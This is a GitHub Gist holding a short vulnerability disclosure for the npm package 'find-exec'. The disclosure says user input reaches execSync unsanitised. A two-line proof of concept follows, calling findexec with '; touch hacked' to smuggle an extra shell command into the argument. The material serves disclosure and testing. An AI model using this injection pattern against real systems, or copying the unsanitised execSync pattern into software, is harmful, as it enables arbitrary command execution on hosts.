Created
July 17, 2023 20:47
-
-
Save miguelafmonteiro/8a13f49cdc2a7b8af9d39e7e9385623c to your computer and use it in GitHub Desktop.
Affected versions of this package are vulnerable to Command Injection as an attacker controlled parameter (index.js#L5) flows into a sensitive command execution API execSync (index.js#L20). As a result, attackers may inject malicious commands.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const findexec = require('find-exec'); | |
findexec("; touch hacked") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment